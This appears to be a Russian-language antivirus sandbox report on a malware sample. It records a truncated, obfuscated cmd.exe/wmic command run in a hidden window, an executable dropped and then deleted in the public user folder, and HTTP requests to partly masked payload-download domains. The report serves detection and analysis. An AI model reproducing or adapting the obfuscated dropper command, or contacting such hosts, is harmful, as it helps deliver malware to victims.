Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' wmic & %comspec% /v /c set %aBBWGTEvJwLrsGO%=aLjndvjJU&&set %VGzdwfidr%=w^er^s&&set %IVNjpQwrpDDcpTB%=fAOMFbnlG&&set %pqXksRBqm%=p^o&&set %XFiSwfhurhNkGYG%=tzTCoCmksiHcjUD&&set %i...
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\323656.exe
Удаляет следующие файлы
- C:\users\public\323656.exe
Сетевая активность
Подключается к
- 're####-shlangov.ru':80
- 'le####licidad.com':80
- 'mo######ointeligente.com.ar':80
TCP
Запросы HTTP GET
- http://re####-shlangov.ru/Q/
- http://www.le####licidad.com/jtvsZO/
- http://mo######ointeligente.com.ar/gkNuNKlYK/
UDP
- DNS ASK re###t-britv.ru
- DNS ASK re####-shlangov.ru
- DNS ASK le####licidad.com
- DNS ASK mo######ointeligente.com.ar
- DNS ASK ed##spb.ru
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' wmic & %comspec% /v /c set %aBBWGTEvJwLrsGO%=aLjndvjJU&&set %VGzdwfidr%=w^er^s&&set %IVNjpQwrpDDcpTB%=fAOMFbnlG&&set %pqXksRBqm%=p^o&&set %XFiSwfhurhNkGYG%=tzTCoCmksiHcjUD&&set %i...' (со скрытым окном)
